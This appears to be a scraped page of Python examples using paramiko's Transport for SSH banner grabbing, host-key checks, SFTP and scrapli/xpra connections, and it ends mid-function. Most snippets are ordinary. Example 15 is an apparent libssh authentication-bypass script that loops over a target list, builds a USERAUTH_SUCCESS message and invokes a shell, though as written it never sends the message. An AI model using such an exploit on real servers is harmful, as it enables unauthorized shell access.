Ejemplo n.º 1
0
    def run(self, ip, port=22, timeout=2):
        try:
            socket.setdefaulttimeout(timeout)
            s = socket.socket()
            s.connect((ip, port))
            banner = s.recv(50).strip(b"\r\n").split(b" ")
            try:
                self.data["version"] = banner[0].decode()
                self.data["os"] = banner[1].decode()
            except IndexError:
                pass

            s.send(banner[0] + b"\r\n")
            self._raw_recv = s.recv(2048)

            s.close()
            self._parse_raw_data()

            tran = Transport((ip, port))
            tran.start_client()
            pubkey = tran.get_remote_server_key()
            self.data["pubkey_name"] = pubkey.get_name()
            fp = pubkey.get_fingerprint()
            self.data["pubkey_fingerprint"] = fp.hex()
        except Exception as e:
            print(repr(e))
            return None
        finally:
            tran.close()
        return True
Ejemplo n.º 2
0
    def run(self, ip, port=22, timeout=2):
        try:
            socket.setdefaulttimeout(timeout)
            s = socket.socket()
            s.connect((ip, port))
            banner = s.recv(50).strip('\r\n').split(' ')
            try:
                self.data["version"] = banner[0]
                self.data["os"] = banner[1]
            except IndexError:
                pass

            s.send('{}\r\n'.format(banner[0]))
            self._raw_recv = s.recv(2048)

            s.close()
            self._parse_raw_data()

            tran = Transport((ip, port))
            tran.start_client()
            pubkey = tran.get_remote_server_key()
            self.data["pubkey_name"] = pubkey.get_name()
            fp = pubkey.get_fingerprint()
            self.data["pubkey_fingerprint"] = ':'.join(map(lambda x:x.encode('hex'), fp))
        except Exception as e:
            cprint(str(e), 'error')
            return None
        finally:
            tran.close()
            self.clear()

        return True
def _get_server_keys(hostname):

    server_keys = []

    # key_type_list = ["ssh-ed25519", "ssh-rsa", "ecdsa-sha2-nistp256"] # default key_type used by ssh-keysca
    # Supported key_type for OS
    # alinux     ssh-rsa,ssh-ed25519,ecdsa-sha2-nistp256
    # ubuntu1404 ssh-rsa,ssh-ed25519,ecdsa-sha2-nistp256
    # ubuntu1604 ssh-rsa,ssh-ed25519,ecdsa-sha2-nistp256
    # centos7    ssh-rsa,ssh-ed25519,ecdsa-sha2-nistp256
    # centos6    ssh-rsa
    key_type_list = ["ssh-rsa"]

    for key_type in key_type_list:
        transport = None
        try:
            sock = socket.socket()
            sock.settimeout(5)
            sock.connect((hostname, 22))
            transport = Transport(sock)
            transport._preferred_keys = [key_type]
            transport.start_client()
            server_keys.append(transport.get_remote_server_key())
        except Exception:
            pass
        finally:
            if transport:
                transport.close()

    if not server_keys:
        logging.error("Failed retrieving server key from host '%s'", hostname)

    return hostname, [(server_key.get_base64(), server_key.get_name())
                      for server_key in server_keys]
Ejemplo n.º 4
0
Archivo: ssh.py Proyecto: yalpdevx/pupy
    def _on_open_port(args):
        host, port, socket = args
        try:
            ssh_conn = Transport(socket)

            if key_type is not None:
                new_preferred_keys = [key_type]
                new_preferred_keys.extend(ssh_conn._preferred_keys)
                ssh_conn._preferred_keys = tuple(new_preferred_keys)

            try:
                ssh_conn.start_client()

                key = ssh_conn.get_remote_server_key()
                key_md5 = md5(str(key)).hexdigest()
                fingerprint = ':'.join(
                    a + b for a, b in zip(key_md5[::2], key_md5[1::2]))

                data_cb(host, port, True,
                        (key.get_name(), fingerprint, b64encode(str(key))))

            finally:
                ssh_conn.close()

        except (socket_error, NoValidConnectionsError):
            data_cb(host, port, None, None)

        except Exception as e:
            data_cb(host, port, False,
                    'Exception: {}: {}'.format(type(e), str(e)))

        finally:
            socket.close()
Ejemplo n.º 5
0
 def _connect(self):
     host_id = self._host_cfg['host_id']
     host, port = self._host_cfg[host_id, 'host']
     user = self._host_cfg[host_id, 'user']
     passwd = self._host_cfg[host_id, 'password']
     timeout = self._host_cfg[host_id, 'timeout'] or None
     known_hosts = self._host_cfg[host_id, 'known_hosts']
     key_type = self._host_cfg[host_id, 'key_type']
     key_file = self._host_cfg[host_id, 'key_file']
     key_pass = self._host_cfg[host_id, 'key_pass']
     try:
         if key_type:
             key = _KEY_TYPES[key_type](filename=key_file,
                                        password=key_pass)
             _logger.debug('private key: %s', key.get_name())
         else:
             key = None
         hostname = utils.format_knownhost(host, port)
         hostkeys = HostKeys(known_hosts)
         transport = Transport((host, port))
         transport.start_client(timeout=timeout)
         hostkey = transport.get_remote_server_key()
         if not hostkeys.check(hostname, hostkey):
             raise SSHException('Incorrect hostkey')
         if key:
             transport.auth_publickey(user, key)
         else:
             transport.auth_password(user, passwd)
         client = transport.open_sftp_client()
         client.get_channel().settimeout(timeout)
         _logger.debug('client for %s created', hostname)
         return client
     except (OSError, SSHException) as ex:
         raise ConnectError(f'Connection to server "{host}:{port}"'
                            f' failed: {ex.args!s}')
Ejemplo n.º 6
0
    def createClient(self):
        """
        create an SSH connection

        Return::
            Transport: Transfer object
        """
        t = None
        count = 0
        event = threading.Event()
        while count < 3:
            try:
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                sock.connect((self.hostname, self.port))
                t = Transport(sock)
                t.start_client(event)
                event.wait(10)
                if not event.is_set():
                    self.logger.warn("start client timeout")
                if not t.is_active():
                    raise Exception("start client error")
                break
            except (socket.error, EOFError, paramiko.SSHException) as e:
                self.logger.warn(
                    e, 'host: %s:%s connection failed' %
                    (self.hostname, self.port))
                count += 1
                sock.close()
                time.sleep(3)
        else:
            raise Exception("Create connect to %s failed" % self.hostname)
        return t
Ejemplo n.º 7
0
def connect(username, hostname='lxplus.cern.ch', port=22):
    "Connect to a given host"
    print "Connecting to %s@%s" % (username, hostname)
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((hostname, port))
    except Exception as err:
        print '*** Connect failed: ' + str(err)
        sys.exit(1)
    transport = Transport(sock)
    try:
        transport.start_client()
    except paramiko.SSHException as err:
        print "SSH negotiation failed\n%s" % str(err)

    try:
        keys = paramiko.util.load_host_keys(\
                os.path.expanduser('~/.ssh/known_hosts'))
    except IOError:
        try:
            keys = paramiko.util.load_host_keys(\
                os.path.expanduser('~/ssh/known_hosts'))
        except IOError:
            print '*** Unable to open host keys file'
            keys = {}

    # check server's host key -- this is important.
    key = transport.get_remote_server_key()
    if not keys.has_key(hostname):
        print '*** WARNING: Unknown host key!'
    elif not keys[hostname].has_key(key.get_name()):
        print '*** WARNING: Unknown host key!'
    elif keys[hostname][key.get_name()] != key:
        print '*** WARNING: Host key has changed!!!'
        sys.exit(1)
    else:
        pass

    # get username
    if username == '':
        default_username = getpass.getuser()
        username = raw_input('Username [%s]: ' % default_username)
        if len(username) == 0:
            username = default_username

    agent_auth(transport, username)
    if not transport.is_authenticated():
        manual_auth(transport, username, hostname)
    if not transport.is_authenticated():
        print '*** Authentication failed. :('
        transport.close()
        sys.exit(1)
    return transport, sock
Ejemplo n.º 8
0
def connect(username, hostname='lxplus.cern.ch', port=22):
    "Connect to a given host"
    print "Connecting to %s@%s" % (username, hostname)
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((hostname, port))
    except Exception as err:
        print '*** Connect failed: ' + str(err)
        sys.exit(1)
    transport = Transport(sock)
    try:
        transport.start_client()
    except paramiko.SSHException as err:
        print "SSH negotiation failed\n%s" % str(err)

    try:
        keys = paramiko.util.load_host_keys(\
                os.path.expanduser('~/.ssh/known_hosts'))
    except IOError:
        try:
            keys = paramiko.util.load_host_keys(\
                os.path.expanduser('~/ssh/known_hosts'))
        except IOError:
            print '*** Unable to open host keys file'
            keys = {}

    # check server's host key -- this is important.
    key = transport.get_remote_server_key()
    if  not keys.has_key(hostname):
        print '*** WARNING: Unknown host key!'
    elif not keys[hostname].has_key(key.get_name()):
        print '*** WARNING: Unknown host key!'
    elif keys[hostname][key.get_name()] != key:
        print '*** WARNING: Host key has changed!!!'
        sys.exit(1)
    else:
        pass

    # get username
    if  username == '':
        default_username = getpass.getuser()
        username = raw_input('Username [%s]: ' % default_username)
        if  len(username) == 0:
            username = default_username

    agent_auth(transport, username)
    if not transport.is_authenticated():
        manual_auth(transport, username, hostname)
    if not transport.is_authenticated():
        print '*** Authentication failed. :('
        transport.close()
        sys.exit(1)
    return transport, sock
Ejemplo n.º 9
0
class SftpAuth:
    def __init__(self, user, hostname, port, rsa_key, remote_dir):
        self.user = user
        self.hostname = hostname
        self.port = port
        self.rsa_key = rsa_key
        self.remote_dir = remote_dir
        logger.info(self.__repr__())

    def __repr__(self):
        return "The sftp instance was initialized. " \
               "user={}, hostname={}, port={}, rsa_key={}, remote_dir={}"\
            .format(self.user, self.hostname, self.port, self.rsa_key, self.remote_dir)

    def set_transport(self):
        logger.debug("Try to initialize transport.")
        try:
            self.transport = Transport(f"{self.hostname}:{self.port}")
            self.transport.start_client(event=None, timeout=15)
            self.transport.get_remote_server_key()
            rsa_key = RSAKey.from_private_key_file(self.rsa_key)
            self.transport.auth_publickey(self.user, rsa_key)
        except Exception as e:
            logger.debug(e)
            print(json.dumps({
                "error": {
                    "code": 00,
                    "message": e
                },
            }),
                  flush=True)
            raise

        logger.info("Transport was initialized.")

    def __enter__(self):
        self.set_transport()
        self.sftp = SFTPClient.from_transport(self.transport)
        try:
            logger.info("Try to make a directory")
            self.sftp.mkdir(self.remote_dir)
        except Exception as e:
            logger.info(e)
        logger.info(f"Change the current directory into {self.remote_dir}")
        self.sftp.chdir(self.remote_dir)
        return self.sftp

    def __exit__(self, exc_type, exc_val, exc_tb):
        self.transport.close()
        self.sftp.close()
Ejemplo n.º 10
0
    def ssh_check(self, sock):
        private_key = paramiko.RSAKey.from_private_key_file(self.private)
        transport = Transport(sock=sock)
        try:
            transport.start_client()
        except SSHException as error:
            Print("{} {}".format(self.username, error), colour="red")
        try:
            if self.password is None:
                transport.auth_publickey(self.username, private_key)
            else:
                transport.auth_password(self.username, self.password)
            if transport.is_authenticated():
                Print("{} {} connection Successfully.".format(
                    self.hostname, self.username),
                      colour="green")
        except ssh_exception.SSHException, e:
            print("{} {}".format(self.hostname, e.message))
            Print("{} {} Error in username or password.".format(
                self.hostname, self.username),
                  colour="red")


# LinuxSSHAuth(hostname='q12469v.cloud.shbt.qihoo.net',username='******').auth()

# def ssh_check(hostname,username,password,port=22):
#     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#     sock.settimeout(3)
#     sock.connect((hostname, port))
#     transport = Transport(sock=sock)
#     try:
#         transport.start_client()
#     except SSHException as error:
#         Print("{} {}".format(hostname, error), "red")
#     try:
#         transport.auth_password(username, password)
#         if transport.is_authenticated():
#             Print("{} {} connection Successfully.".format(hostname, username), "green")
#     except ssh_exception.AuthenticationException, e:
#         print("{} {}".format(hostname, e.message))
#         Print("{} {} Error in username or password.\nExit installation.".format(hostname, username), "red")
#
# ssh_check(hostname='zjtdev01v.cloud.corp.qihoo.net',username='******',password='******')
Ejemplo n.º 11
0
 def ssh_check(self, sock):
     private_key = paramiko.RSAKey.from_private_key_file(self.private)
     transport = Transport(sock=sock)
     try:
         transport.start_client()
     except SSHException as error:
         Print("{} {}".format(self.username, error), colour="red")
     try:
         if self.password is None:
             transport.auth_publickey(self.username, private_key)
         else:
             transport.auth_password(self.username, self.password)
         if transport.is_authenticated():
             Print("{} {} connection Successfully.".format(
                 self.hostname, self.username),
                   colour="green")
     except ssh_exception.SSHException, e:
         print("{} {}".format(self.hostname, e.message))
         Print("{} {} Error in username or password.".format(
             self.hostname, self.username),
               colour="red")
Ejemplo n.º 12
0
    def run(self, ip, port=22, timeout=2):

        try:
            socket.setdefaulttimeout(timeout)
            s = socket.socket()
            s.connect((ip, port))
            banner = s.recv(50).strip('\r\n').split(' ')

            try:
                self.data.version = banner[0]
                self.data.os = banner[1]
            except IndexError:
                pass

            s.send('{}\r\n'.format(banner[0]))
            self._raw_recv = s.recv(2048)

            s.close()
            self._parse_raw_data()

            # use paramiko to get hostkey because of lazyless...
            tran = Transport((ip, port))
            tran.start_client()
            pubkey = tran.get_remote_server_key()
            self.data.pubkey_name = pubkey.get_name()
            fp = pubkey.get_fingerprint()
            self.data.pubkey_fingerprint = ':'.join(
                map(lambda x: x.encode('hex'), fp))

            ServicesInfo.add(ip, port, 'ssh', self.data)

        except Exception as e:
            cprint(str(e), 'error')
            return None
        finally:
            tran.close()
            self.clear()

        return True
Ejemplo n.º 13
0
    def run(self, ip, port=22, timeout=2):

        try:
            socket.setdefaulttimeout(timeout)
            s = socket.socket()
            s.connect((ip, port))
            banner = s.recv(50).strip('\r\n').split(' ')

            try:
                self.data.version = banner[0]
                self.data.os = banner[1]
            except IndexError:
                pass

            s.send('{}\r\n'.format(banner[0]))
            self._raw_recv = s.recv(2048)

            s.close()
            self._parse_raw_data()

            # use paramiko to get hostkey because of lazyless...
            tran = Transport((ip, port))
            tran.start_client()
            pubkey = tran.get_remote_server_key()
            self.data.pubkey_name = pubkey.get_name()
            fp = pubkey.get_fingerprint()
            self.data.pubkey_fingerprint = ':'.join(map(lambda x:x.encode('hex'), fp))
            
            ServicesInfo.add(ip, port, 'ssh', self.data)

        except Exception as e:
            cprint(str(e), 'error')
            return None
        finally:
            tran.close()
            self.clear()

        return True
Ejemplo n.º 14
0
class MikoTransport(Transport):
    def __init__(
        self,
        host: str,
        port: int = -1,
        auth_username: str = "",
        auth_private_key: str = "",
        auth_password: str = "",
        auth_strict_key: bool = True,
        timeout_socket: int = 5,
        timeout_transport: int = 5,
        timeout_exit: bool = True,
        ssh_config_file: str = "",
        ssh_known_hosts_file: str = "",
    ) -> None:
        """
        MikoTransport Object

        Inherit from Transport ABC
        MikoTransport <- Transport (ABC)

        Args:
            host: host ip/name to connect to
            port: port to connect to
            auth_username: username for authentication
            auth_private_key: path to private key for authentication
            auth_password: password for authentication
            auth_strict_key: True/False to enforce strict key checking (default is True)
            timeout_socket: timeout for establishing socket in seconds
            timeout_transport: timeout for ssh transport in seconds
            timeout_exit: True/False close transport if timeout encountered
            ssh_config_file: string to path for ssh config file
            ssh_known_hosts_file: string to path for ssh known hosts file

        Returns:
            N/A  # noqa: DAR202

        Raises:
            N/A

        """
        cfg_port, cfg_user, cfg_private_key = self._process_ssh_config(host, ssh_config_file)

        if port == -1:
            port = cfg_port or 22

        super().__init__(
            host,
            port,
            timeout_socket,
            timeout_transport,
            timeout_exit,
        )

        self.auth_username: str = auth_username or cfg_user
        self.auth_private_key: str = auth_private_key or cfg_private_key
        self.auth_password: str = auth_password
        self.auth_strict_key: bool = auth_strict_key
        self.ssh_known_hosts_file: str = ssh_known_hosts_file

        self.session: ParamikoTransport
        self.channel: Channel

        self.socket = Socket(host=self.host, port=self.port, timeout=self.timeout_socket)

    @staticmethod
    def _process_ssh_config(host: str, ssh_config_file: str) -> Tuple[Optional[int], str, str]:
        """
        Method to parse ssh config file

        In the future this may move to be a 'helper' function as it should be very similar between
        paramiko and and ssh2-python... for now it can be a static method as there may be varying
        supported args between the two transport drivers.

        Args:
            host: host to lookup in ssh config file
            ssh_config_file: string path to ssh config file; passed down from `Scrape`, or the
                `NetworkDriver` or subclasses of it, in most cases.

        Returns:
            Tuple: port to use for ssh, username to use for ssh, identity file (private key) to
                use for ssh auth

        Raises:
            N/A

        """
        ssh = SSHConfig(ssh_config_file)
        host_config = ssh.lookup(host)
        return host_config.port, host_config.user or "", host_config.identity_file or ""

    def open(self) -> None:
        """
        Parent method to open session, authenticate and acquire shell

        Args:
            N/A

        Returns:
            N/A  # noqa: DAR202

        Raises:
            Exception: if socket handshake fails
            ScrapliAuthenticationFailed: if all authentication means fail

        """
        if not self.socket.socket_isalive():
            self.socket.socket_open()

        try:
            self.session = ParamikoTransport(self.socket.sock)
            self.session.start_client()
        except Exception as exc:
            LOG.critical(f"Failed to complete handshake with host {self.host}; Exception: {exc}")
            raise exc

        if self.auth_strict_key:
            LOG.debug(f"Attempting to validate {self.host} public key")
            self._verify_key()

        self._authenticate()
        if not self._isauthenticated():
            msg = f"Authentication to host {self.host} failed"
            LOG.critical(msg)
            raise ScrapliAuthenticationFailed(msg)

        self._open_channel()

    def _verify_key(self) -> None:
        """
        Verify target host public key, raise exception if invalid/unknown

        Args:
            N/A

        Returns:
            N/A  # noqa: DAR202

        Raises:
            KeyVerificationFailed: if host is not in known hosts
            KeyVerificationFailed: if host is in known hosts but public key does not match

        """
        known_hosts = SSHKnownHosts(self.ssh_known_hosts_file)

        if self.host not in known_hosts.hosts.keys():
            raise KeyVerificationFailed(f"{self.host} not in known_hosts!")

        remote_server_key = self.session.get_remote_server_key()
        remote_public_key = remote_server_key.get_base64()

        if known_hosts.hosts[self.host]["public_key"] != remote_public_key:
            raise KeyVerificationFailed(
                f"{self.host} in known_hosts but public key does not match!"
            )

    def _authenticate(self) -> None:
        """
        Parent method to try all means of authentication

        Args:
            N/A

        Returns:
            N/A  # noqa: DAR202

        Raises:
            ScrapliAuthenticationFailed: if authentication fails

        """
        if self.auth_private_key:
            self._authenticate_public_key()
            if self._isauthenticated():
                LOG.debug(f"Authenticated to host {self.host} with public key auth")
                return
            if not self.auth_password or not self.auth_username:
                msg = (
                    f"Failed to authenticate to host {self.host} with private key "
                    f"`{self.auth_private_key}`. Unable to continue authentication, "
                    "missing username, password, or both."
                )
                LOG.critical(msg)
                raise ScrapliAuthenticationFailed(msg)
        self._authenticate_password()
        if self._isauthenticated():
            LOG.debug(f"Authenticated to host {self.host} with password")

    def _authenticate_public_key(self) -> None:
        """
        Attempt to authenticate with public key authentication

        Args:
            N/A

        Returns:
            N/A  # noqa: DAR202

        Raises:
            N/A

        """
        try:
            paramiko_key = RSAKey(filename=self.auth_private_key)
            self.session.auth_publickey(self.auth_username, paramiko_key)
        except AuthenticationException as exc:
            LOG.critical(
                f"Public key authentication with host {self.host} failed. Exception: {exc}."
            )
        except Exception as exc:  # pylint: disable=W0703
            LOG.critical(
                "Unknown error occurred during public key authentication with host "
                f"{self.host}; Exception: {exc}"
            )

    def _authenticate_password(self) -> None:
        """
        Attempt to authenticate with password authentication

        Args:
            N/A

        Returns:
            N/A  # noqa: DAR202

        Raises:
            Exception: if unknown (i.e. not auth failed) exception occurs

        """
        try:
            self.session.auth_password(self.auth_username, self.auth_password)
        except AuthenticationException as exc:
            LOG.critical(
                f"Password authentication with host {self.host} failed. Exception: {exc}."
                "\n\tNote: Paramiko automatically attempts both standard auth as well as keyboard "
                "interactive auth. Paramiko exception about bad auth type may be misleading!"
            )
        except Exception as exc:
            LOG.critical(
                "Unknown error occurred during password authentication with host "
                f"{self.host}; Exception: {exc}"
            )
            raise exc

    def _isauthenticated(self) -> bool:
        """
        Check if session is authenticated

        Args:
            N/A

        Returns:
            bool: True if authenticated, else False

        Raises:
            N/A

        """
        authenticated: bool = self.session.is_authenticated()
        return authenticated

    def _open_channel(self) -> None:
        """
        Open channel, acquire pty, request interactive shell

        Args:
            N/A

        Returns:
            N/A  # noqa: DAR202

        Raises:
            N/A

        """
        self.channel = self.session.open_session()
        self.set_timeout(self.timeout_transport)
        self.channel.get_pty()
        self.channel.invoke_shell()
        LOG.debug(f"Channel to host {self.host} opened")

    def close(self) -> None:
        """
        Close session and socket

        Args:
            N/A

        Returns:
            N/A  # noqa: DAR202

        Raises:
            N/A

        """
        self.channel.close()
        LOG.debug(f"Channel to host {self.host} closed")
        self.socket.socket_close()

    def isalive(self) -> bool:
        """
        Check if socket is alive and session is authenticated

        Args:
            N/A

        Returns:
            bool: True if socket is alive and session authenticated, else False

        Raises:
            N/A

        """
        if self.socket.socket_isalive() and self.session.is_alive() and self._isauthenticated():
            return True
        return False

    def read(self) -> bytes:
        """
        Read data from the channel

        Args:
            N/A

        Returns:
            bytes: bytes output as read from channel

        Raises:
            N/A

        """
        channel_read: bytes = self.channel.recv(65535)
        return channel_read

    def write(self, channel_input: str) -> None:
        """
        Write data to the channel

        Args:
            channel_input: string to send to channel

        Returns:
            N/A  # noqa: DAR202

        Raises:
            N/A

        """
        self.channel.send(channel_input)  # type: ignore

    def set_timeout(self, timeout: int) -> None:
        """
        Set session timeout

        Args:
            timeout: timeout in seconds

        Returns:
            N/A  # noqa: DAR202

        Raises:
            N/A

        """
        self.channel.settimeout(timeout)
Ejemplo n.º 15
0
try:
    # First we're going to assume you can read.
    with open(sys.argv[1]) as ssh_targets:
        s = socket.socket()
        # Let's get rid of the '\n' that infests people who use .readlines() while forcing them to utilize .rstrip()
        ip_list = ssh_targets.read().splitlines()
        for ip in ip_list:
            try:
                print("Attempting to connect to {}:{}...".format(ip, port))
                s.connect((ip, port))

                msg = Message()

                trans = Transport(s)
                trans.start_client()

                print("Attempting to send MSG_USERAUTH_SUCCESS...")
                msg.add_byte(common.cMSG_USERAUTH_SUCCESS)

                cmd = trans.open_session()

                print("Attempting to load shell...")
                cmd.invoke_shell()
            except Exception as e:
                print(str(e))
except FileNotFoundError as e:
    print("File not found: {}".format(sys.argv[1]))
except Exception as e:
    print("Possible PEKBAC error: {}".format(str(e)))
Ejemplo n.º 16
0
def do_ssh_paramiko_connect_to(sock, host, port, username, password, proxy_command, remote_xpra, socket_dir, display_as_args, target):
    from paramiko import SSHException, Transport, Agent, RSAKey, PasswordRequiredException
    from paramiko.hostkeys import HostKeys
    transport = Transport(sock)
    transport.use_compression(False)
    log("SSH transport %s", transport)
    try:
        transport.start_client()
    except SSHException as e:
        log("start_client()", exc_info=True)
        raise InitException("SSH negotiation failed: %s" % e)

    host_key = transport.get_remote_server_key()
    assert host_key, "no remote server key"
    log("remote_server_key=%s", keymd5(host_key))
    if VERIFY_HOSTKEY:
        host_keys = HostKeys()
        host_keys_filename = None
        KNOWN_HOSTS = get_ssh_known_hosts_files()
        for known_hosts in KNOWN_HOSTS:
            host_keys.clear()
            try:
                path = os.path.expanduser(known_hosts)
                if os.path.exists(path):
                    host_keys.load(path)
                    log("HostKeys.load(%s) successful", path)
                    host_keys_filename = path
                    break
            except IOError:
                log("HostKeys.load(%s)", known_hosts, exc_info=True)

        log("host keys=%s", host_keys)
        keys = host_keys.lookup(host)
        known_host_key = (keys or {}).get(host_key.get_name())
        def keyname():
            return host_key.get_name().replace("ssh-", "")
        if host_key==known_host_key:
            assert host_key
            log("%s host key '%s' OK for host '%s'", keyname(), keymd5(host_key), host)
        else:
            if known_host_key:
                log.warn("Warning: SSH server key mismatch")
                qinfo = [
"WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!",
"IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!",
"Someone could be eavesdropping on you right now (man-in-the-middle attack)!",
"It is also possible that a host key has just been changed.",
"The fingerprint for the %s key sent by the remote host is" % keyname(),
keymd5(host_key),
]
                if VERIFY_STRICT:
                    log.warn("Host key verification failed.")
                    #TODO: show alert with no option to accept key
                    qinfo += [
                        "Please contact your system administrator.",
                        "Add correct host key in %s to get rid of this message.",
                        "Offending %s key in %s" % (keyname(), host_keys_filename),
                        "ECDSA host key for %s has changed and you have requested strict checking." % keyname(),
                        ]
                    sys.stderr.write(os.linesep.join(qinfo))
                    transport.close()
                    raise InitExit(EXIT_SSH_KEY_FAILURE, "SSH Host key has changed")
                if not confirm_key(qinfo):
                    transport.close()
                    raise InitExit(EXIT_SSH_KEY_FAILURE, "SSH Host key has changed")

            else:
                assert (not keys) or (host_key.get_name() not in keys)
                if not keys:
                    log.warn("Warning: unknown SSH host")
                else:
                    log.warn("Warning: unknown %s SSH host key", keyname())                        
                qinfo = [
                    "The authenticity of host '%s' can't be established." % (host,),
                    "%s key fingerprint is" % keyname(),
                    keymd5(host_key),
                    ]
                if not confirm_key(qinfo):
                    transport.close()
                    raise InitExit(EXIT_SSH_KEY_FAILURE, "Unknown SSH host '%s'" % host)

            if ADD_KEY:
                try:
                    if not host_keys_filename:
                        #the first one is the default,
                        #ie: ~/.ssh/known_hosts on posix
                        host_keys_filename = os.path.expanduser(KNOWN_HOSTS[0])
                    log("adding %s key for host '%s' to '%s'", keyname(), host, host_keys_filename)
                    if not os.path.exists(host_keys_filename):
                        keys_dir = os.path.dirname(host_keys_filename)
                        if not os.path.exists(keys_dir):
                            log("creating keys directory '%s'", keys_dir)
                            os.mkdir(keys_dir, 0o700)
                        elif not os.path.isdir(keys_dir):
                            log.warn("Warning: '%s' is not a directory")
                            log.warn(" key not saved")
                        if os.path.exists(keys_dir) and os.path.isdir(keys_dir):
                            log("creating known host file '%s'", host_keys_filename)
                            with umask_context(0o133):
                                with open(host_keys_filename, 'a+'):
                                    pass
                    host_keys.add(host, host_key.get_name(), host_key)
                    host_keys.save(host_keys_filename)
                except OSError as e:
                    log("failed to add key to '%s'", host_keys_filename)
                    log.error("Error adding key to '%s'", host_keys_filename)
                    log.error(" %s", e)
                except Exception as e:
                    log.error("cannot add key", exc_info=True)


    def auth_agent():
        agent = Agent()
        agent_keys = agent.get_keys()
        log("agent keys: %s", agent_keys)
        if agent_keys:
            for agent_key in agent_keys:
                log("trying ssh-agent key '%s'", keymd5(agent_key))
                try:
                    transport.auth_publickey(username, agent_key)
                    if transport.is_authenticated():
                        log("authenticated using agent and key '%s'", keymd5(agent_key))
                        break
                except SSHException:
                    log("agent key '%s' rejected", keymd5(agent_key), exc_info=True)
            if not transport.is_authenticated():
                log.info("agent authentication failed, tried %i key%s", len(agent_keys), engs(agent_keys))

    def auth_publickey():
        log("trying public key authentication")
        for keyfile in ("id_rsa", "id_dsa"):
            keyfile_path = osexpand(os.path.join("~/", ".ssh", keyfile))
            if not os.path.exists(keyfile_path):
                log("no keyfile at '%s'", keyfile_path)
                continue
            key = None
            try:
                key = RSAKey.from_private_key_file(keyfile_path)
            except PasswordRequiredException:
                log("%s keyfile requires a passphrase", keyfile_path)
                passphrase = input_pass("please enter the passphrase for %s:" % (keyfile_path,))
                if passphrase:
                    try:
                        key = RSAKey.from_private_key_file(keyfile_path, passphrase)
                    except SSHException as e:
                        log("from_private_key_file", exc_info=True)
                        log.info("cannot load key from file '%s':", keyfile_path)
                        log.info(" %s", e)
            if key:
                log("auth_publickey using %s: %s", keyfile_path, keymd5(key))
                try:
                    transport.auth_publickey(username, key)
                except SSHException as e:
                    log("key '%s' rejected", keyfile_path, exc_info=True)
                    log.info("SSH authentication using key '%s' failed:", keyfile_path)
                    log.info(" %s", e)
                else:
                    if transport.is_authenticated():
                        break

    def auth_none():
        log("trying none authentication")
        try:
            transport.auth_none(username)
        except SSHException as e:
            log("auth_none()", exc_info=True)

    def auth_password():
        log("trying password authentication")
        try:
            transport.auth_password(username, password)
        except SSHException as e:
            log("auth_password(..)", exc_info=True)
            log.info("SSH password authentication failed: %s", e)

    banner = transport.get_banner()
    if banner:
        log.info("SSH server banner:")
        for x in banner.splitlines():
            log.info(" %s", x)

    log("starting authentication")
    if not transport.is_authenticated() and NONE_AUTH:
        auth_none()

    if not transport.is_authenticated() and PASSWORD_AUTH and password:
        auth_password()

    if not transport.is_authenticated() and AGENT_AUTH:
        auth_agent()

    if not transport.is_authenticated() and KEY_AUTH:
        auth_publickey()

    if not transport.is_authenticated() and PASSWORD_AUTH and not password:
        for _ in range(1+PASSWORD_RETRY):
            password = input_pass("please enter the SSH password for %s@%s" % (username, host))
            if not password:
                break
            auth_password()
            if transport.is_authenticated():
                break

    if not transport.is_authenticated():
        transport.close()
        raise InitException("SSH Authentication failed")

    assert len(remote_xpra)>0
    log("will try to run xpra from: %s", remote_xpra)
    for xpra_cmd in remote_xpra:
        try:
            chan = transport.open_session(window_size=None, max_packet_size=0, timeout=60)
            chan.set_name("find %s" % xpra_cmd)
        except SSHException as e:
            log("open_session", exc_info=True)
            raise InitException("failed to open SSH session: %s" % e)
        cmd = "which %s" % xpra_cmd
        log("exec_command('%s')", cmd)
        chan.exec_command(cmd)
        #poll until the command terminates:
        start = monotonic_time()
        while not chan.exit_status_ready():
            if monotonic_time()-start>10:
                chan.close()
                raise InitException("SSH test command '%s' timed out" % cmd)
            log("exit status is not ready yet, sleeping")
            time.sleep(0.01)
        r = chan.recv_exit_status()
        log("exec_command('%s')=%s", cmd, r)
        chan.close()
        if r!=0:
            continue
        cmd = xpra_cmd + " " + " ".join(shellquote(x) for x in proxy_command)
        if socket_dir:
            cmd += " \"--socket-dir=%s\"" % socket_dir
        if display_as_args:
            cmd += " "
            cmd += " ".join(shellquote(x) for x in display_as_args)
        log("cmd(%s, %s)=%s", proxy_command, display_as_args, cmd)

        #see https://github.com/paramiko/paramiko/issues/175
        #WINDOW_SIZE = 2097152
        log("trying to open SSH session, window-size=%i, timeout=%i", WINDOW_SIZE, TIMEOUT)
        try:
            chan = transport.open_session(window_size=WINDOW_SIZE, max_packet_size=0, timeout=TIMEOUT)
            chan.set_name("run-xpra")
        except SSHException as e:
            log("open_session", exc_info=True)
            raise InitException("failed to open SSH session: %s" % e)
        else:
            log("channel exec_command(%s)" % cmd)
            chan.exec_command(cmd)
            info = {
                "host"  : host,
                "port"  : port,
                }
            conn = SSHSocketConnection(chan, sock, target, info)
            conn.timeout = SOCKET_TIMEOUT
            conn.start_stderr_reader()
            child = None
            conn.process = (child, "ssh", cmd)
            return conn
    raise Exception("all SSH remote proxy commands have failed")
Ejemplo n.º 17
0
class SSH2NetSessionParamiko:
    def __init__(self, p_self):
        """
        Initialize SSH2NetSessionParamiko Object

        This object, through composition, allows for using Paramiko as the underlying "driver"
        for SSH2Net instead of the default "ssh2-python". Paramiko will be ever so slightly slower
        but as you will most likely be I/O constrained it shouldn't matter! "ssh2-python" as of
        20 October 2019 has a bug preventing keyboard interactive authentication from working as
        desired; this is the reason Paramiko is in here now!

        Args:
            p_self: SSH2Net object

        Returns:
            N/A  # noqa

        Raises:
            N/A  # noqa

        """
        self.__dict__ = p_self.__dict__
        self._session_alive = p_self._session_alive
        self._session_open = p_self._session_open
        self._channel_alive = p_self._channel_alive

    def _session_open_connect(self) -> None:
        """
        Perform session handshake for paramiko (instead of default ssh2-python)

        Args:
            N/A  # noqa

        Returns:
            N/A  # noqa

        Raises:
            RequirementsNotSatisfied: if paramiko is not installed
            Exception: catch all for unknown exceptions during session handshake

        """
        try:
